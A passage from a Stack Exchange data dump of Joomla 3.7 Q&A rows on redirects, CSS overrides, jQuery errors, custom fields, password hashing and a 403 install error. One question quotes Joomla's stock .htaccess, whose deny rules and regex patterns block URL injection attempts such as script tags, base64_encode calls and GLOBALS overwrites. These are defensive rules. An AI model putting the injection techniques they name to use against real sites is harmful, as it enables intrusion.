Tags="|joomla-3.x|php|joomla-api|custom-field|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21072" PostTypeId="1" CreationDate="2017-06-28T14:43:28.490" Score="0" ViewCount="533" Body="&lt;p&gt;I added some text custom fields to the user registration form. Joomla 3.7 allows users to easily add custom fields to various components, this is a nice feature. However I'm unable to figure out how to make the ReCaptcha field display after the custom fields. I have tried to place the Recaptcha plugin after the custom fields plugin however this does not seem to be allowed. Anyone have a solution to this? &lt;/p&gt;&#xA;" OwnerUserId="6973" LastActivityDate="2017-12-01T18:08:24.793" Title="Display ReCaptcha field after Joomla 3.7 user custom fields" Tags="|registration|custom-field|joomla-3.7|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21074" PostTypeId="1" AcceptedAnswerId="21075" CreationDate="2017-06-28T15:53:45.540" Score="2" ViewCount="2702" Body="&lt;p&gt;I want &lt;code&gt;foo.example.horse/short&lt;/code&gt; to redirect to the external URL &lt;code&gt;https://some.long.org/url/that/i/want/to/redirect_to&lt;/code&gt;. Is there a simple way to do this from Joomla, or do I have to edit the &lt;code&gt;.htaccess&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="9145" LastActivityDate="2017-06-28T16:37:40.330" Title="How can I redirect a URL to another domain?" Tags="|url|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21075" PostTypeId="2" ParentId="21074" CreationDate="2017-06-28T16:37:40.330" Score="2" Body="&lt;p&gt;You could unpublish /short so that it 404s, and then use the redirects manager.&#xA;(Components &gt; Redirects).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details : &lt;a href=&quot;https://docs.joomla.org/Help37:Components_Redirect_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help37:Components_Redirect_Manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-06-28T16:37:40.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21076" PostTypeId="1" AcceptedAnswerId="21138" CreationDate="2017-06-28T18:30:16.690" Score="1" ViewCount="707" Body="&lt;p&gt;I want to do something really simple, but have to use Joomla what makes it probably complicated because I have less experience in Joomla development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have field with a value (a number) which is declared by another component and saved in the joomla database. Then I have a submite button in a form (I'm using chronoforms5 by the way). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to change the value of my field after pressing the submit button of my form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually I would write a PHP file with the database connection, query etc. and wrting a javascript handler for the button which makes an AJAX call to that PHP file.  But how can I do that by using Joomla? I'm searching for a simple solution, security is almost not relevant. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11248" LastEditorUserId="11248" LastEditDate="2017-06-28T19:07:20.850" LastActivityDate="2017-07-11T07:01:06.337" Title="Joomla 3.7 change value in database after form button press" Tags="|development|plugin|database|form|chronoforms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21077" PostTypeId="2" ParentId="21076" CreationDate="2017-06-28T22:55:39.673" Score="2" Body="&lt;p&gt;Since you are using a form extension you need to do it following its options and features. I haven't that big experience with Chronoforms but I would look for an on-submit option to run custom code. I am not sure if you need to implement AJAX (js on submit to some server side action) or simply just a php snippet that will update whatever you want to update on the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible that chronoforms may provide another internal way to  allow manipulation of database data from the form - so exhaust first every possibility within chronoforms by studying its documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, it's not clear in your question if you are asking how to do CRUD database things... If that's what you are asking check here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-06-28T23:28:46.447" LastActivityDate="2017-06-28T23:28:46.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21078" PostTypeId="1" CreationDate="2017-06-28T23:56:11.217" Score="1" ViewCount="1061" Body="&lt;p&gt;I have one article, where I want to apply different styling to it than what the global is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add it like so &lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https:&quot;/&lt;/code&gt; tag at the top of my article, however it is not overriding the global CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to override the global css within this article through settings and apply my own? How can I give special css to this article only?&lt;/p&gt;&#xA;" OwnerUserId="9753" LastEditorUserId="126" LastEditDate="2017-06-29T09:58:55.237" LastActivityDate="2017-06-29T09:58:55.237" Title="Override Global CSS within Article" Tags="|joomla-3.x|articles|css|overrides|template-override|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21079" PostTypeId="2" ParentId="21078" CreationDate="2017-06-29T07:40:28.880" Score="0" Body="&lt;p&gt;I assume TinyMCE will be stripping that tag because it is not valid in the body of the page.  I believe it is not possible to set &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; as a valid element in TinyMCE.  As such, if you go to Extensions &gt; Plugins and temporarily unpublish TinyMCE then you will be able to enter it using the blank editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do it this way, I'd suggest you add it to the page in a CustomHTML module and apply that to the page instead (this approach is only possible if the article is linked to a menu item), as saving the article using TinyMCE in future will always strip the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does not work, press F12 and use your console to make sure the CSS is actually loading (it is unclear if you are loading it from your own site.  If not, you may simply not be allowed to embed it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is on the page and loading correctly, make sure that your styles are being correctly overridden.  It may just be that they aren't written in such a way that will take precident over your existing styles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the best approach to adding such styles is probably in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will add a style sheet when the menu item id is 101.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (JFactory::getApplication()-&amp;gt;getMenu()-&amp;gt;getActive()-&amp;gt;id==&quot;101&quot;) {&#xA;&#xA;        JHtml::_('stylesheet', 'https://cdn.sstatic.net/Sites/stackoverflow/all.css', array());&#xA;    } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the following will do the same when it detects an article of ID 1 (though if you are using other components, it may require additional validation to make sure the id belongs to com_content and not one of the other components)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id')==&quot;1&quot;) {&#xA;&#xA;    JHtml::_('stylesheet', 'https://cdn.sstatic.net/Sites/stackoverflow/all.css', array());&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-06-29T07:40:28.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21080" PostTypeId="2" ParentId="21078" CreationDate="2017-06-29T09:52:59.380" Score="2" Body="&lt;p&gt;There are a lot of resources in this site about overriding CSS. &#xA;Depending on your template and overall site/page configuration, you might be able to just do this by using a unique css selector that might exist only in that page and add your own css rules in a &lt;code&gt;custom.css&lt;/code&gt; on your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you link that article with a menu item and your special css is intended only for the markup inside your article, you can give your menu item a special class (from inside the menu item edit page -&gt; &lt;strong&gt;Page Display&lt;/strong&gt; tab -&gt; &lt;strong&gt;Page Class&lt;/strong&gt; field) and add your css in the &lt;code&gt;custom.css&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for example you add give &lt;code&gt;special&lt;/code&gt; class for that menu-item, then in your &lt;code&gt;custom.css&lt;/code&gt; you can target elements inside your article with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.item-pagespecial h1 {&#xA;    color: red;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;the &lt;code&gt;.item-pagespecial&lt;/code&gt; selector could be the final produced class that your template/template overrides will generate.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Useful Resources to Read On:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The following links in this site could be proved useful to study. Have a look at:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/3877/how-do-i-override-the-css-styles-in-my-template&quot;&gt;How do I override the CSS styles in my template?&lt;/a&gt;&lt;/strong&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/10195/custom-css-page-class&quot;&gt;Custom css &amp;#39;Page Class&amp;#39;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5398/adding-custom-css-styling-on-some-of-my-pages&quot;&gt;Adding custom CSS styling on some of my pages&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/search?q=custom%20css&quot;&gt;&lt;strong&gt;JSE General Search: &quot;custom css&quot;&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-06-29T09:52:59.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21081" PostTypeId="2" ParentId="10058" CreationDate="2017-06-29T10:07:03.037" Score="2" Body="&lt;h3&gt;Update: This is a core feature since J! 3.7.3 release.&lt;/h3&gt;&#xA;&lt;p&gt;We can now sort articles by Date Modified, using the Sorting Dropdown on the top-right side of the articles manager list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uIQWn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uIQWn.jpg&quot; alt=&quot;Sorting Articles by Date Modified in Admin&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hhXhc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhXhc.jpg&quot; alt=&quot;Sorted by Date Modified&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Initial answer&lt;/h3&gt;&#xA;&lt;p&gt;I worked on this feature for a customer and have submitted the code to be considered for inclusion with a future Joomla release.&lt;/p&gt;&#xA;&lt;p&gt;The patch has now been merged and seems it is in the milestones for the next 3.7.3 version.&lt;/p&gt;&#xA;&lt;p&gt;When it becomes available, it will be possible to select the Articles Sorting Order by Date Modified and the corresponding Date Column will turn to Date Modified.&lt;/p&gt;&#xA;&lt;p&gt;If anyone is in hurry for this feature, he can go and get the patch from here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/15825&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/15825&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-18T10:32:06.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21082" PostTypeId="1" AcceptedAnswerId="21113" CreationDate="2017-06-29T14:21:33.727" Score="0" ViewCount="1564" Body="&lt;p&gt;I need a way to automatically send an e-mail to a list of subscribers&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;either whenever a new article is published, with a link to that article&lt;/li&gt;&#xA;&lt;li&gt;or periodically, with a list of new articles&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I did a research and found some extension that partly serve this purpose (&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/marketing/mailing-a-distribution-lists/j-mailalerts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;J!MailAlerts&lt;/a&gt;, &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/marketing/newsletter/content-notifications/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Minitek Content Notification&lt;/a&gt;), but I am not quite satisfied with them (difficult to subscribe to more than one category, impossible to import mail list. Though they offer notifications for guests, they seem to be more oriented towards registered members). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it the big newsletter components AcyMailing and JNews seem to offer an Auto-newsletter or Smart Newsletter feature, but only in their more expensive variants. And I don't want to pay some $80, when I don't really need a full-blown professional newsletter, only a simple notification on new content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do you know about any better alternatives?&lt;/p&gt;&#xA;" OwnerUserId="5848" LastActivityDate="2017-07-05T13:07:34.040" Title="Email notifications on new articles / Automatic newsletter" Tags="|joomla-3.x|emails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21084" PostTypeId="1" CreationDate="2017-06-30T14:57:56.567" Score="0" ViewCount="557" Body="&lt;p&gt;I have a client who is trying to follow a Udemy course which uses a template from 2014 with the Jgive component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried with different templates and the jQuery error does not appear, so it must be template related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that is being flagged up is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(typeof(techjoomla)==&quot;undefined&quot;){var techjoomla={}}if(typeof(techjoomla.jQuery)==&quot;undefined&quot;){techjoomla.jQuery=jQuery.noConflict()};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught ReferenceError: jQuery is not defined @ namespace.min.js:1&#xA;       (anonymous) @ namespace.min.js:1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The error occurs on the last bit: =jQuery.noConflict()};&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is located &lt;a href=&quot;http://mybroski.net/index.php/start&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; although it does require registration to view the page - please feel free to register if need be, or if the error in the code is obvious, please let me know and I'll correct it and post back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have updated to Joomla 3.7.2 to see if the issue fixes itself but it does not unfortunately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-06-30T18:45:00.580" LastActivityDate="2017-06-30T18:45:00.580" Title="Jquery conflict using legacy template - is there a way to correct it?" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21085" PostTypeId="2" ParentId="21084" CreationDate="2017-06-30T17:14:38.713" Score="1" Body="&lt;p&gt;you need to load jQuery before the code you pasted is run, which is done automatically by most modern templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick solution is to open the template's index.php file and paste this at the beginning of the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;&#xA;&amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you still face errors after this it may be due to the code requiring an older jQuery, look &lt;a href=&quot;https://developers.google.com/speed/libraries/#jquery&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for a complete list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative and possibly easier way to achieve this is to install a plugin that will do it for you, for example jQuery easy.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2017-06-30T17:14:38.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21086" PostTypeId="1" CreationDate="2017-06-30T19:47:46.060" Score="0" ViewCount="1111" Body="&lt;p&gt;I have Joomla 3.7. I have replaced the file personal2.png in /templates/beez3/images/personal/personal2.png to another image with the same resolution ( 1060X288 ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Image Logo changed but the image isn't fit, I mean the Image is with another size (more bigger).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to inherit the default CSS and I want the image to fit to the logo header size and to be resized when the screen browser is smaller ( because when I smaller the windows the image is not showing very well and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I lost some of it. ( I mean I want it responsive to the size of the window ).&lt;br&gt;&#xA;I would appreciate any help. Thanks&lt;/p&gt;&#xA;" OwnerUserId="11255" LastEditorUserId="126" LastEditDate="2017-07-01T10:58:57.260" LastActivityDate="2017-07-03T08:16:56.707" Title="Changing the headerlogo in beez3 template the image isn't fit to the headerlogo" Tags="|templates|css|joomla-3.7|header|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21087" PostTypeId="2" ParentId="2333" CreationDate="2017-07-01T15:25:41.360" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://crosstec.org/en/downloads/breezingforms-for-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Breezing forms&lt;/a&gt; has this feature built in and is a Joomla! component. It's REALLY powerful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a demo: &lt;a href=&quot;https://crosstec.org/breezingformsdemo/index.php/breezingforms-demos/bootstrap-based-forms/new-digital-signatures.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crosstec.org/breezingformsdemo/index.php/breezingforms-demos/bootstrap-based-forms/new-digital-signatures.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to check this post which suggests a different (paid) service.  &lt;a href=&quot;https://stackoverflow.com/questions/24265531/electronic-signature-joomla&quot;&gt;https://stackoverflow.com/questions/24265531/electronic-signature-joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2017-07-01T15:25:41.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21088" PostTypeId="1" AcceptedAnswerId="21100" CreationDate="2017-07-01T15:34:16.637" Score="0" ViewCount="565" Body="&lt;p&gt;I am developing a script that is using Joomla!'s users table for the user authentication ... but I am facing an issue with the verification of the password. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know Joomla! uses Bcrypt for encrypting the passwords so I have added the Bcrypt encryption to my script as well but it generates a new hash for the same password ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am stuck on how can I verify the password hash stored in the users table with the hash generated through my external script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your answers in advance.&lt;/p&gt;&#xA;" OwnerUserId="9114" LastEditorUserId="126" LastEditDate="2017-07-03T13:15:53.650" LastActivityDate="2017-07-03T13:15:53.650" Title="How to use joomla password verification method in a external script" Tags="|user|joomla-3.7|authentication|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21090" PostTypeId="1" CreationDate="2017-07-02T09:44:52.273" Score="1" ViewCount="595" Body="&lt;p&gt;Good morning,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a question. I create my own fields in my own component. I'm using the &quot;SimpleXMLElement&quot; class. The form generates via getForm work perfectly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$newfieldset = new SimpleXMLElement('&amp;lt;fieldset&amp;gt;&amp;lt;/fieldset&amp;gt;');&#xA;$newfieldset-&amp;gt;addAttribute('name', 'case_customfields');&#xA;&#xA;foreach($customfields as $customfield) &#xA;{&#xA;    $field = $newfieldset-&amp;gt;addChild('field');&#xA;    $field-&amp;gt;addAttribute('name', $customfield-&amp;gt;field_name . '-' . $customfield-&amp;gt;id);&#xA;    $field-&amp;gt;addAttribute('type', $customfield-&amp;gt;field_type);&#xA;    $field-&amp;gt;addAttribute('default', $customfield-&amp;gt;field_default_value);&#xA;    $field-&amp;gt;addAttribute('label', $customfield-&amp;gt;field_label);&#xA;    $field-&amp;gt;addAttribute('description', $customfield-&amp;gt;field_description);&#xA;&#xA;}&#xA;&#xA;$form-&amp;gt;setField($newfieldset);&#xA;&#xA;return $form;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also modified the getItem function, which returns values for my own fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $customfields_value = $this-&amp;gt;getCustomFieldsValues($pk);&#xA;&#xA;    foreach($customfields_value as $customfield_value) &#xA;    {&#xA;        $singleCustomField = $this-&amp;gt;getSingleCustomFields($customfield_value-&amp;gt;custom_fields_id);&#xA;        $field_id = $singleCustomField['id'];&#xA;        $field_name = $singleCustomField['field_name'];&#xA;&#xA;        $field = $field_name . '-' . $field_id;&#xA;        $item-&amp;gt;$field = $customfield_value-&amp;gt;value;&#xA;&#xA;    }&#xA;&#xA;    return $item;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Work perfectly too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that in the edit form I do not see custom values. If I create a static form in XML (models / forms), the data is. For fields created via &quot;SimpleXMLElement&quot; - data is not in the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, I can load data into the form via the &quot;SimpleXMLElement&quot; class in getForm, but that seems to me to be a bad way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I make a mistake? And thank you in advance for help.&lt;/p&gt;&#xA;" OwnerUserId="11257" LastActivityDate="2018-09-26T16:01:25.917" Title="Custom dynamic fields - SimpleXMLElement in model and data info fields" Tags="|joomla-3.x|custom-component|jform|form|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21091" PostTypeId="1" CreationDate="2017-07-02T12:30:47.010" Score="0" ViewCount="3822" Body="&lt;p&gt;I'm trying to install the Breezing Forms extension (free) but I'm getting the following error when I try to upload the com_breezingforms_lite.zip:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Forbidden&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You don't have permission to access /administrator/index.php on this&#xA;  server.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;=============&#xA;System Information&#xA;=============&#xA;php: Linux lxb03006 2.6.18-417.el5.secure #1 SMP Wed Jan 11 09:47:21 EST 2017 i686&#xA;dbversion: 5.1.69-log&#xA;dbcollation: utf8_general_ci&#xA;dbconnectioncollation: utf8_general_ci&#xA;phpversion: 5.6.30&#xA;server: Apache/2&#xA;sapi_name: cgi-fcgi&#xA;version: Joomla! 3.7.2 Stable [ Amani ] 22-May-2017 09:46 GMT&#xA;platform: Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that I don't have sudo rights on this server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this question has been cross-posted at StackOverflow: &lt;a href=&quot;https://stackoverflow.com/questions/44870665/joomla-extension-installation-no-permission-to-access-administrator-index-php&quot;&gt;https://stackoverflow.com/questions/44870665/joomla-extension-installation-no-permission-to-access-administrator-index-php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2016 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line 'Options +FollowSymLinks' may cause problems with some server configurations.&#xA;# It is required for the use of mod_rewrite, but it may have already been set by your &#xA;# server administrator in a way that disallows changing it in this .htaccess file.&#xA;# If using it causes your site to produce an error, comment it out (add # to the &#xA;# beginning of the line), reload your site in your browser and test your sef urls. If &#xA;# they work, then it has been set by your server administrator and you do not need to &#xA;# set it here.&#xA;##&#xA;&#xA;## No directory listings&#xA;IndexIgnore *&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site then comment out the operations listed &#xA;# below by adding a # to the beginning of the line.&#xA;# This attempts to block the most common type of exploit `attempts` on Joomla!&#xA;#&#xA;# Block any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment the following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;htaccess.txt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line 'Options +FollowSymLinks' may cause problems with some server configurations.&#xA;# It is required for the use of mod_rewrite, but it may have already been set by your &#xA;# server administrator in a way that disallows changing it in this .htaccess file.&#xA;# If using it causes your site to produce an error, comment it out (add # to the &#xA;# beginning of the line), reload your site in your browser and test your sef urls. If &#xA;# they work, then it has been set by your server administrator and you do not need to &#xA;# set it here.&#xA;##&#xA;&#xA;## No directory listings&#xA;&amp;lt;IfModule autoindex&amp;gt;&#xA;  IndexIgnore *&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site then comment out the operations listed &#xA;# below by adding a # to the beginning of the line.&#xA;# This attempts to block the most common type of exploit `attempts` on Joomla!&#xA;#&#xA;# Block any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) 